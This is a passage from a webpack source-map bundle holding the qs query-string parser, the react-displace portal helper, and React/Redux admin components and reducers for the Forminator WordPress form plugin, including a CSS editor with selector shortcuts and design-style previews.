{};\n\n    if (options.decoder !== null && options.decoder !== undefined && typeof options.decoder !== 'function') {\n        throw new TypeError('Decoder has to be a function.');\n    }\n\n    options.ignoreQueryPrefix = options.ignoreQueryPrefix === true;\n    options.delimiter = typeof options.delimiter === 'string' || utils.isRegExp(options.delimiter) ? options.delimiter : defaults.delimiter;\n    options.depth = typeof options.depth === 'number' ? options.depth : defaults.depth;\n    options.arrayLimit = typeof options.arrayLimit === 'number' ? options.arrayLimit : defaults.arrayLimit;\n    options.parseArrays = options.parseArrays !== false;\n    options.decoder = typeof options.decoder === 'function' ? options.decoder : defaults.decoder;\n    options.allowDots = typeof options.allowDots === 'boolean' ? options.allowDots : defaults.allowDots;\n    options.plainObjects = typeof options.plainObjects === 'boolean' ? options.plainObjects : defaults.plainObjects;\n    options.allowPrototypes = typeof options.allowPrototypes === 'boolean' ? options.allowPrototypes : defaults.allowPrototypes;\n    options.parameterLimit = typeof options.parameterLimit === 'number' ? options.parameterLimit : defaults.parameterLimit;\n    options.strictNullHandling = typeof options.strictNullHandling === 'boolean' ? options.strictNullHandling : defaults.strictNullHandling;\n\n    if (str === '' || str === null || typeof str === 'undefined') {\n        return options.plainObjects ? Object.create(null) : {};\n    }\n\n    var tempObj = typeof str === 'string' ? parseValues(str, options) : str;\n    var obj = options.plainObjects ? Object.create(null) : {};\n\n    // Iterate over the keys and setup the new object\n\n    var keys = Object.keys(tempObj);\n    for (var i = 0; i < keys.length; ++i) {\n        var key = keys[i];\n        var newObj = parseKeys(key, tempObj[key], options);\n        obj = utils.merge(obj, newObj, options);\n    }\n\n    return utils.compact(obj);\n};\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/qs/lib/parse.js\n// module id = 181\n// module chunks = 0 1 2 3 4","'use strict';\n\nvar _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nvar React = require('react');\nvar ReactDOM = require('react-dom');\n\n// React 16+ supports Portals.\nvar canUsePortals = !!ReactDOM.createPortal;\n\nfunction displace(WrappedComponent, options) {\n  if (!global.document) {\n    return function (_React$Component) {\n      _inherits(EmptyDisplace, _React$Component);\n\n      function EmptyDisplace() {\n        _classCallCheck(this, EmptyDisplace);\n\n        return _possibleConstructorReturn(this, (EmptyDisplace.__proto__ || Object.getPrototypeOf(EmptyDisplace)).apply(this, arguments));\n      }\n\n      _createClass(EmptyDisplace, [{\n        key: 'render',\n        value: function render() {\n          return false;\n        }\n      }]);\n\n      return EmptyDisplace;\n    }(React.Component);\n  }\n\n  options = options || {};\n\n  var Displaced = function (_React$Component2) {\n    _inherits(Displaced, _React$Component2);\n\n    function Displaced() {\n      var _ref;\n\n      var _temp, _this2, _ret;\n\n      _classCallCheck(this, Displaced);\n\n      for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n        args[_key] = arguments[_key];\n      }\n\n      return _ret = (_temp = (_this2 = _possibleConstructorReturn(this, (_ref = Displaced.__proto__ || Object.getPrototypeOf(Displaced)).call.apply(_ref, [this].concat(args))), _this2), _this2.renderDisplaced = function () {\n        ReactDOM.unstable_renderSubtreeIntoContainer(_this2, React.createElement(WrappedComponent, _this2.props, _this2.props.children), _this2.container);\n      }, _this2.removeDisplaced = function () {\n        ReactDOM.unmountComponentAtNode(_this2.container);\n      }, _temp), _possibleConstructorReturn(_this2, _ret);\n    }\n\n    _createClass(Displaced, [{\n      key: 'componentWillMount',\n      value: function componentWillMount() {\n        this.container = function () {\n          if (!options.renderTo) {\n            var result = document.createElement('div');\n            document.body.appendChild(result);\n            return result;\n          } else if (typeof options.renderTo === 'string') {\n            return document.querySelector(options.renderTo);\n          } else {\n            return options.renderTo;\n          }\n        }();\n      }\n    }, {\n      key: 'componentDidMount',\n      value: function componentDidMount() {\n        if (canUsePortals) return;\n        if (this.props.mounted) {\n          this.renderDisplaced();\n        }\n      }\n    }, {\n      key: 'componentDidUpdate',\n      value: function componentDidUpdate(prevProps) {\n        if (canUsePortals) return;\n        if (prevProps.mounted && !this.props.mounted) {\n          ReactDOM.unmountComponentAtNode(this.container);\n        } else if (this.props.mounted) {\n          this.renderDisplaced();\n        }\n      }\n    }, {\n      key: 'componentWillUnmount',\n      value: function componentWillUnmount() {\n        if (!canUsePortals) {\n          ReactDOM.unmountComponentAtNode(this.container);\n        }\n        if (!options.renderTo) {\n          this.container.parentNode.removeChild(this.container);\n        }\n      }\n    }, {\n      key: 'render',\n      value: function render() {\n        if (!canUsePortals || this.props.mounted === false) {\n          return null;\n        }\n        return ReactDOM.createPortal(React.createElement(WrappedComponent, this.props, this.props.children), this.container);\n      }\n    }]);\n\n    return Displaced;\n  }(React.Component);\n\n  Displaced.defaultProps = {\n    mounted: true\n  };\n  Displaced.WrappedComponent = WrappedComponent;\n\n\n  return Displaced;\n}\n\nmodule.exports = displace;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-displace/dist/displace.js\n// module id = 182\n// module chunks = 0 1 2 3 4","import React, { Component } from 'react';\nimport { translate } from '../../utils';\n\nexport default class AceEditor extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\n\t\tthis.updateValue = this.updateValue.bind( this );\n\t\tthis.insertSelector = this.insertSelector.bind( this );\n\t}\n\n\tcomponentDidMount() {\n\t\t// eslint-disable-next-line no-undef\n\t\tthis.editor = ace.edit( `forminator-field-${ this.props.property }` );\n\n\t\tthis.session = this.editor.getSession();\n\t\tthis.session.setUseWorker( false );\n\t\tthis.editor.setShowPrintMargin( false );\n\n\t\tthis.session.setMode( 'ace/mode/css' );\n\t\tthis.editor.setTheme( 'ace/theme/sui' );\n\t\tthis.editor.renderer.setShowGutter( true );\n\t\tthis.editor.setHighlightActiveLine( true );\n\t\tthis.editor.focus();\n\n\t\tthis.editor.on( 'change', this.updateValue );\n\t}\n\n\tcomponentWillUnmount() {\n\t\tthis.editor.destroy();\n\t\tthis.editor = null;\n\t}\n\n\tinsertSelector( selector ) {\n\t\tconst selectClass = selector + '{}';\n\n\t\tthis.editor.navigateFileEnd();\n\t\tthis.editor.insert( selectClass );\n\t\tthis.editor.navigateLeft( 1 );\n\t\tthis.editor.focus();\n\t}\n\n\tshouldComponentUpdate() {\n\t\treturn false;\n\t}\n\n\tupdateValue() {\n\t\tthis.props.actions.settingsActions.updateSetting(\n\t\t\tthis.props.property,\n\t\t\tthis.editor.getValue()\n\t\t);\n\t}\n\n\trender() {\n\t\tconst value = _.isUndefined( this.props.settings[ this.props.property ] )\n\t\t\t? ''\n\t\t\t: this.props.settings[ this.props.property ];\n\n\t\tlet type = ! _.isUndefined( this.props.type ) ? this.props.type : 'form';\n\n\t\tif ( 'pdf-form' === this.props.formType ) {\n\t\t\ttype = this.props.formType;\n\t\t}\n\n\t\tconst basicSelectors = (\n\t\t\t<React.Fragment>\n\t\t\t\t<label className=\"sui-label\">{ translate( 'Basic selectors' ) }</label>\n\t\t\t\t<div className=\"sui-ace-selectors\">\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector( ' ' ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Form' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t' .forminator-title '\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Section Title' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t' .forminator-subtitle '\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Section Subtitle' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t' .forminator-label '\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Field Label' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t' .forminator-description '\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Field Description' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t' .forminator-input '\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Input' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t' .forminator-textarea '\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Textarea' ) }\n\t\t\t\t\t</a>\n\t\t\t\t</div>\n\t\t\t</React.Fragment>\n\t\t);\n\n\t\tconst pollSelectors = (\n\t\t\t<React.Fragment>\n\t\t\t\t<label className=\"sui-label\">{ translate( 'Basic selectors' ) }</label>\n\t\t\t\t<div className=\"sui-ace-selectors\">\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector( ' ' ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Poll' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector( ' .forminator-poll--question ' ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Question' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector( ' .forminator-radio .forminator-radio-bullet ' ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Answer Input' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector( '.forminator-radio .forminator-radio-label ' ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Answer Label' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector( ' .forminator-button ' ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Submit Button' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t' .forminator-poll-footer a.forminator-link, ' +\n\t\t\t\t\t\t\t'.forminator-poll-footer a.forminator-link:visited '\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'View Results Link' ) }\n\t\t\t\t\t</a>\n\t\t\t\t</div>\n\t\t\t</React.Fragment>\n\t\t);\n\n\t\tconst quizSelectors = (\n\t\t\t<React.Fragment>\n\t\t\t\t<label className=\"sui-label\">{ translate( 'Basic selectors' ) }</label>\n\t\t\t\t<div className=\"sui-ace-selectors\">\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector( ' ' ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Quiz' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector( '.forminator-quiz--title ' ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Title' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector( '.forminator-quiz--description p ' ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Description' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector( '.forminator-question .forminator-legend ' ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Question' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector( '.forminator-answer .forminator-answer--design ' ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Answer Container' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t'.forminator-answer .forminator-answer--name '\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Answer Text' ) }\n\t\t\t\t\t</a>\n\t\t\t\t</div>\n\t\t\t</React.Fragment>\n\t\t);\n\n\t\tconst pdfSelectors = (\n\t\t\t<React.Fragment>\n\t\t\t\t<label className=\"sui-label\">{ translate( 'PDF selectors' ) }</label>\n\t\t\t\t<div className=\"sui-ace-selectors\">\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector( 'body' ) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Body' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t'.forminator-pdf-header'\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'PDF Header' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t'.pdf-logo'\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Logo' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t'.pdf-title'\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Title' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t'.forminator-row-heading td'\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Field Label' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t'.forminator-row-content td'\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Field Value' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t'.forminator-pdf-footer-text td'\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Footer' ) }\n\t\t\t\t\t</a>\n\t\t\t\t\t<a className=\"sui-selector sui-insert-selector\"\n\t\t\t\t\t\tonClick={ () => this.insertSelector(\n\t\t\t\t\t\t\t'.forminator-pdf-pagination td'\n\t\t\t\t\t\t) }\n\t\t\t\t\t>\n\t\t\t\t\t\t{ translate( 'Pagination' ) }\n\t\t\t\t\t</a>\n\t\t\t\t</div>\n\t\t\t</React.Fragment>\n\t\t);\n\n\t\treturn (\n\t\t\t<React.Fragment>\n\t\t\t\t{ type === 'form' && basicSelectors }\n\t\t\t\t{ type === 'poll' && pollSelectors }\n\t\t\t\t{ type === 'quiz' && quizSelectors }\n\t\t\t\t{ type === 'pdf-form' && pdfSelectors }\n\t\t\t\t<div id={ `forminator-field-${ this.props.property }` }\n\t\t\t\t\tdata-value={ value }\n\t\t\t\t\tstyle={ { height: '210px' } }\n\t\t\t\t>\n\t\t\t\t\t{ value }\n\t\t\t\t</div>\n\t\t\t</React.Fragment>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/settings/inputs/ace-editor.js","import { createStore, compose, applyMiddleware } from 'redux';\nimport thunk from 'redux-thunk';\nimport appReducers from '../reducers';\n\nconst newCreateStore = compose( applyMiddleware( thunk ) )( createStore );\n\nexport default function configureStore( initialState ) {\n\treturn newCreateStore( appReducers, initialState );\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/store/configureStore.js","import { combineReducers } from 'redux';\n\n// Import reducers\nimport wrappers from './wrappers';\nimport settings from './settings';\nimport modal from './modal';\nimport integrationConditions from '../../global/reducers/integrations';\nimport behaviorArray from '../../global/reducers/behaviors';\nimport notifications from './notifications';\nimport pdfs from './pdfs';\n\nconst appReducers = combineReducers( {\n\t// List reducers\n\twrappers,\n\tsettings,\n\tmodal,\n\tintegrationConditions,\n\tbehaviorArray,\n\tnotifications,\n\tpdfs\n} );\n\nexport default appReducers;\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/reducers/index.js","import { replaceInPosition } from '../../utils';\n\nfunction updateField( state, action ) {\n\tconst { wrapper } = action;\n\tconst wrapperIndex = state.findIndex( wrap => wrap.wrapper_id === wrapper.wrapper_id );\n\n\tstate = replaceInPosition( state, wrapperIndex, wrapper );\n\n\treturn state;\n}\n\nexport default function wrappers( state = [], action ) {\n\tswitch ( action.type ) {\n\t\tcase 'UPDATE_FIELDS':\n\t\t\treturn action.wrappers;\n\t\tcase 'UPDATE_FIELD':\n\t\t\treturn updateField( [ ...state ], action );\n\t\tdefault:\n\t\t\treturn state;\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/reducers/wrappers.js","function updateSetting( state, action ) {\n\tconst { setting, value } = action;\n\n\t// Update value\n\tstate[ setting ] = value;\n\n\treturn state;\n}\n\nfunction updateSettings( state, action ) {\n\tconst { settings } = action;\n\n\treturn {\n\t\t...state,\n\t\t...settings\n\t}\n}\n\nfunction resetSettings( state, action ) {\n\tconst { settings } = action;\n\treturn {\n\t\t...settings\n\t};\n}\n\nfunction updateTitle( state, action ) {\n\tconst { title } = action;\n\n\t// Update value\n\tstate.formName = title;\n\n\treturn state;\n}\n\nexport default function settings( state = [], action ) {\n\tconst newState = Object.assign( {}, state );\n\n\tswitch ( action.type ) {\n\t\tcase 'UPDATE_SETTINGS':\n\t\t\treturn updateSettings( newState, action );\n\t\tcase 'RESET_SETTINGS':\n\t\t\treturn resetSettings( newState, action );\n\t\tcase 'UPDATE_SETTING':\n\t\t\treturn updateSetting( newState, action );\n\t\tcase 'UPDATE_TITLE':\n\t\t\treturn updateTitle( newState, action );\n\t\tdefault:\n\t\t\treturn state;\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/reducers/settings.js","const initialState = {\n\tmodalType: null,\n\tmodalProps: {},\n};\n\nexport default ( state = initialState, action ) => {\n\tswitch ( action.type ) {\n\t\tcase 'SHOW_MODAL':\n\t\t\treturn {\n\t\t\t\tmodalProps: action.modalProps,\n\t\t\t\tmodalType: action.modalType,\n\t\t\t\ttype: action.type,\n\t\t\t};\n\t\tcase 'HIDE_MODAL':\n\t\t\treturn initialState;\n\t\tdefault:\n\t\t\treturn state;\n\t}\n};\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/reducers/modal.js","import { replaceInPosition } from '../../utils';\n\nexport default function integrationConditions( state = [], action ) {\n\tswitch ( action.type ) {\n\t\tcase 'UPDATE_INTEGRATION_CONDITIONS':\n\t\t\treturn action.conditions;\n\t\tdefault:\n\t\t\treturn state;\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/global/reducers/integrations.js","import { replaceInPosition } from '../../utils';\n\nfunction updateBehaviorArray( state, action ) {\n\tconst { behavior } = action;\n\tconst behaviorIndex = state.findIndex( notify => notify.slug === behavior.slug );\n\n\tstate = replaceInPosition( state, behaviorIndex, behavior );\n\n\treturn state;\n}\n\nexport default function behaviors( state = [], action ) {\n\tswitch ( action.type ) {\n\t\tcase 'UPDATE_BEHAVIORS':\n\t\t\treturn action.behaviors;\n\t\tcase 'UPDATE_BEHAVIOR':\n\t\t\treturn updateBehaviorArray( [ ...state ], action );\n\t\tdefault:\n\t\t\treturn state;\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/global/reducers/behaviors.js","import { replaceInPosition } from '../../utils';\n\nfunction updateNotification( state, action ) {\n\tconst { notification } = action;\n\tconst notificationIndex = state.findIndex( notify => notify.slug === notification.slug );\n\n\tstate = replaceInPosition( state, notificationIndex, notification );\n\n\treturn state;\n}\n\nexport default function notifications( state = [], action ) {\n\tswitch ( action.type ) {\n\t\tcase 'UPDATE_NOTIFICATIONS':\n\t\t\treturn action.notifications;\n\t\tcase 'UPDATE_NOTIFICATION':\n\t\t\treturn updateNotification( [ ...state ], action );\n\t\tdefault:\n\t\t\treturn state;\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/reducers/notifications.js","export default function pdfs( state = [], action ) {\n\tswitch ( action.type ) {\n\t\tcase 'UPDATE_PDFS':\n\t\t\treturn action.pdfs;\n\t\tdefault:\n\t\t\treturn state;\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/reducers/pdfs.js","import React, { Component } from 'react';\nimport { translate } from '../../../../utils';\n\nexport default class ModalImage extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\tconst image = this.props.filename ? this.props.filename : '';\n\n\t\tlet getclass = 'sui-box-banner';\n\t\tlet getalt = translate( 'Forminator image' );\n\n\t\tif ( ! _.isUndefined( this.props.logo ) && true === this.props.logo ) {\n\t\t\tgetclass = 'sui-box-logo';\n\t\t}\n\n\t\tif ( ! _.isUndefined( this.props.alt ) && '' !== this.props.alt ) {\n\t\t\tgetalt = this.props.alt;\n\t\t}\n\n\t\treturn (\n\t\t\t<figure className={ getclass } aria-hidden=\"true\">\n\n\t\t\t\t<img\n\t\t\t\t\tsrc={ forminatorData.imagesUrl + '/' + image + '.png' }\n\t\t\t\t\tsrcSet={ `${ forminatorData.imagesUrl }/${ image }.png 1x,\n\t\t\t\t\t${ forminatorData.imagesUrl }/${ image }@2x.png 2x` }\n\t\t\t\t\talt={ getalt }\n\t\t\t\t/>\n\n\t\t\t</figure>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/modals/partials/image.js","import React, { Component } from 'react';\nimport { Route, Redirect, NavLink } from 'react-router-dom';\nimport { translate } from '../../../utils';\n\nimport DesignDefault from './design/default';\nimport DesignFlat from './design/flat';\nimport DesignBold from './design/bold';\nimport DesignMaterial from './design/material';\nimport DesignBasic from './design/basic';\nimport DesignNone from './design/none';\nimport RadioTabs from '../../../settings/inputs/radio-tabs';\n\nexport default class DesignStyle extends Component {\n\trender() {\n\t\treturn (\n\t\t\t<div className=\"sui-box-settings-row\">\n\t\t\t\t<div className=\"sui-box-settings-col-1\">\n\t\t\t\t\t<span className=\"sui-settings-label\">{translate( 'Design Style' )}</span>\n\t\t\t\t\t<span className=\"sui-description\">\n\t\t\t\t\t\t{translate(\n\t\t\t\t\t\t\t\"Choose a pre-made style for your form and further customize it's appearance below.\"\n\t\t\t\t\t\t)}\n\t\t\t\t\t</span>\n\t\t\t\t</div>\n\t\t\t\t<div className=\"sui-box-settings-col-2\">\n\t\t\t\t\t<RadioTabs\n\t\t\t\t\t\t{ ...this.props }\n\t\t\t\t\t\tproperty=\"form-style\"\n\t\t\t\t\t\tdefault=\"default\"\n\t\t\t\t\t>\n\t\t\t\t\t\t<DesignDefault value=\"default\" boxClass=\"sui-tab-content sui-tab-boxed\">\n\t\t\t\t\t\t\t{ translate( 'Default' ) }\n\t\t\t\t\t\t</DesignDefault>\n\t\t\t\t\t\t<DesignFlat value=\"flat\" boxClass=\"sui-tab-content sui-tab-boxed\">\n\t\t\t\t\t\t\t{ translate( 'Flat' ) }\n\t\t\t\t\t\t</DesignFlat>\n\t\t\t\t\t\t<DesignBold value=\"bold\" boxClass=\"sui-tab-content sui-tab-boxed\">\n\t\t\t\t\t\t\t{ translate( 'Bold' ) }\n\t\t\t\t\t\t</DesignBold>\n\t\t\t\t\t\t<DesignMaterial value=\"material\" boxClass=\"sui-tab-content sui-tab-boxed\">\n\t\t\t\t\t\t\t{ translate( 'Material' ) }\n\t\t\t\t\t\t</DesignMaterial>\n\t\t\t\t\t\t{/* <DesignBasic value=\"basic\" boxClass=\"sui-tab-content sui-tab-boxed\">\n\t\t\t\t\t\t\t{ translate( 'Theme style' ) }\n\t\t\t\t\t\t</DesignBasic> */}\n\t\t\t\t\t\t<DesignNone value=\"none\" boxClass=\"sui-tab-content\">\n\t\t\t\t\t\t\t{ translate( 'None' ) }\n\t\t\t\t\t\t</DesignNone>\n\t\t\t\t\t</RadioTabs>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/design.js","import React, { Component } from 'react';\nimport { translate } from '../../../../utils';\n\nexport default class designDefault extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<div className=\"fui-demo fui-demo--custom-form fui-demo--default\">\n\t\t\t\t<label>{ translate( 'Field Label' ) }</label>\n\t\t\t\t<input\n\t\t\t\t\ttype=\"text\"\n\t\t\t\t\tplaceholder={ translate( 'Placeholder' ) }\n\t\t\t\t\treadOnly=\"readonly\"\n\t\t\t\t/>\n\n\t\t\t\t<label>{ translate( 'Field Label' ) }</label>\n\t\t\t\t<input type=\"text\" value={ translate( 'Text' ) } readOnly=\"readonly\" />\n\n\t\t\t\t<button>{ translate( 'Button' ) }</button>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/design/default.js","import React, { Component } from 'react';\nimport { translate } from '../../../../utils';\n\nexport default class designFlat extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<div className=\"fui-demo fui-demo--custom-form fui-demo--flat\">\n\t\t\t\t<label>{ translate( 'Field Label' ) }</label>\n\t\t\t\t<input\n\t\t\t\t\ttype=\"text\"\n\t\t\t\t\tplaceholder={ translate( 'Placeholder' ) }\n\t\t\t\t\treadOnly=\"readonly\"\n\t\t\t\t/>\n\n\t\t\t\t<label>{ translate( 'Field Label' ) }</label>\n\t\t\t\t<input type=\"text\" value={ translate( 'Text' ) } readOnly=\"readonly\" />\n\n\t\t\t\t<button>{ translate( 'Button' ) }</button>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/design/flat.js","import React, { Component } from 'react';\nimport { translate } from '../../../../utils';\n\nexport default class designBold extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<div className=\"fui-demo fui-demo--custom-form fui-demo--bold\">\n\t\t\t\t<label>{ translate( 'Field Label' ) }</label>\n\t\t\t\t<input\n\t\t\t\t\ttype=\"text\"\n\t\t\t\t\tplaceholder={ translate( 'Placeholder' ) }\n\t\t\t\t\treadOnly=\"readonly\"\n\t\t\t\t/>\n\n\t\t\t\t<label>{ translate( 'Field Label' ) }</label>\n\t\t\t\t<input type=\"text\" value={ translate( 'Text' ) } readOnly=\"readonly\" />\n\n\t\t\t\t<button>{ translate( 'Button' ) }</button>\n\t\t\t</div>\n\t\t);\n\t}\n}\n\n\n\n// WEBPACK FOOTER //\n// ./src/form/components/appearance/design/bold.js","import React, { Component } from 'react';\nimport { translate } from '../../../../utils';\n\nexport default class designMaterial extends Component {\n\tconstructor( props ) {\n\t\tsuper( props );\n\t}\n\n\trender() {\n\t\treturn (\n\t\t\t<div className=\"fui-demo fui-demo--custom-form fui-demo--material\">\n\t\t\t\t<div className=\"fui-is_empty\">\n\t\t\t\t\t<label>{ translate( 'Field Label' ) }</label>\n\t\t\t\t\t<input\n\t\t\t\t\t\ttype=\"text\"\n\t\t\t\t\t\treadOnly=\"readonly\"\n\t\t\t\t\t/>\n\t\t\t\t</div>\n\n\t\t\t\t<div 